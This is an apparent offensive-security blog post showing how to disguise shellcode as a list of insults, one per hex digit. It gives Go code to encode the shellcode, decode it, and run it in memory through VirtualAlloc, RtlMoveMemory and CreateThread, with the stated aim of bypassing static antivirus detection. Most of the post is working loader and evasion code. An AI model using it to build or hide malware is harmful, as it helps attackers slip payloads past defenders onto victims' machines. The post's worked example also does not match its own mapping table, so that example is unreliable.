🐚Unusual Shellcode Encoding: Insult-based Shellcode Obfuscation

As decribed before, obfuscating shellcode is an essential part of bypassing detection mechanisms and crafting creative payloads. In this post, we’ll explore a whimsical and unusual encoding technique: representing shellcode as insults. Not only does it obscure the payload, but it also adds a humorous twist to the encoding process. We’ll cover how to encode, decode, and execute the shellcode in memory. The goal of this article is primary to make understand you that you need to be CREATIVE in your encoding.

1: Encoding Shellcode into Insults

Every byte of shellcode can be represented as two hexadecimal characters (e.g., 0xFC is FC). To encode this, we map each hexadecimal digit to a specific insult, creating a string of human-readable, insult-laden text.

Encoding Process

Here’s how the encoding works:

  1. Hexadecimal Conversion: Each byte of shellcode is converted into two hexadecimal characters.

  2. Insult Mapping: Each hex character is replaced with its corresponding insult.

The Insult Mapping

First, we need to define our corespondance table, here’s the correspondance table from hexadecimal digits to insults:

Hex
Insult
Hex
Insult

0

Nitwit

8

Dolt

1

Buffoon

9

Lummox

2

Nincompoop

A

Simpleton

3

Dunce

B

Clod

4

Cretin

C

Moron

5

Oaf

D

Fool

6

Dimwit

E

Imbecile

7

Blockhead

F

Sluggard

Or in his code version:

var insults = map[byte]string{
	'0': "Nitwit",
	'1': "Buffoon",
	'2': "Nincompoop",
	'3': "Dunce",
	'4': "Cretin",
	'5': "Oaf",
	'6': "Dimwit",
	'7': "Blockhead",
	'8': "Dolt",
	'9': "Lummox",
	'a': "Simpleton",
	'b': "Clod",
	'c': "Moron",
	'd': "Fool",
	'e': "Imbecile",
	'f': "Sluggard",
}

(Don't blame me for the poor inspiration, i'm french so chatgpt gave me 16 english insults)

Encoding Implementation

Here’s the Go code that performs the shellcode to insults encoding:

func shellcodeToInsults(shellcode []byte) string {
	var insultCode []string
	for _, b := range shellcode {
		// Convert each byte to hexadecimal (more simple for avoiding type conflicts)
		hexString := fmt.Sprintf("%02x", b)

		// Map each hex character to its corresponding insult
		for _, hexChar := range hexString {
			insult := insults[byte(hexChar)]
			insultCode = append(insultCode, fmt.Sprintf("\"%s\"", insult))
		}
	}

	// return as a go array
	return "insultCode := []string{" + strings.Join(insultCode, ",") + "}"
}

with this, an example shellcode like:

shellcode := []byte{0xFC, 0x48, 0x81}

will return like this:

insultCode := []string{"Sluggard", "Moron", "Dunce", "Blockhead", "Nitwit", "Cretin",}

the full code is available here.

2: Decoding Insults Back to Shellcode

Encoding is fun, but for the shellcode to be useful, it must be decoded back into its binary form.

Decoding Process

The decoding process involves:

  1. Reverse Mapping: Each insult is mapped back to its corresponding hexadecimal character.

  2. Byte Reconstruction: Pairs of hex characters are combined to form bytes.

Decoding Implementation

Here’s the code to decode the insults back to shellcode:

func insultsToShellcode(insultCode []string) []byte {
	var shellcode []byte
	for i := 0; i < len(insultCode); i += 2 {
		// Convert two insults to one byte
		highNibble := insultsToHex[insultCode[i]]
		lowNibble := insultsToHex[insultCode[i+1]]

		// Combine the nibbles into a byte
		byteValue := (hexToByte(highNibble) << 4) | hexToByte(lowNibble)
		shellcode = append(shellcode, byteValue)
	}
	return shellcode
}

So if we keep the previous logic, this example input:

insultCode := []string{"Sluggard", "Moron", "Dunce", "Blockhead", "Nitwit", "Cretin",}

Will become this:

[]byte{0xFC, 0x48, 0x81}

3. Run the shellcode

For the rest of the execution flow, you will just need to execute the shellcode in memory like defined here.

/ Allocate memory using VirtualAlloc
	addr, _, err := virtualAlloc.Call(
		0, 
		uintptr(len(shellcode)), 
		windows.MEM_COMMIT|windows.MEM_RESERVE, 
		windows.PAGE_EXECUTE_READWRITE,
	)
	if addr == 0 {
		fmt.Printf("VirtualAlloc failed: %v\n", err)
		return
	}
	fmt.Printf("Memory allocated at: %v\n", addr)

	// Copy the shellcode into the allocated memory
	_, _, err = rtlMoveMemory.Call(addr, uintptr(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)))
	if err != syscall.Errno(0) {
		fmt.Printf("RtlMoveMemory failed: %v\n", err)
		return
	}

	// Create a new thread to execute the shellcode
	threadHandle, _, err := createThread.Call(
		0, 0, addr, 0, 0, 0, 
	)

the full code is available here.

3. Conclusion

After these operations, you will finish with a fully functionnal stub that store his payload as a defined insult, and so on bypass static detections while keeping his excepted behavior.

Last updated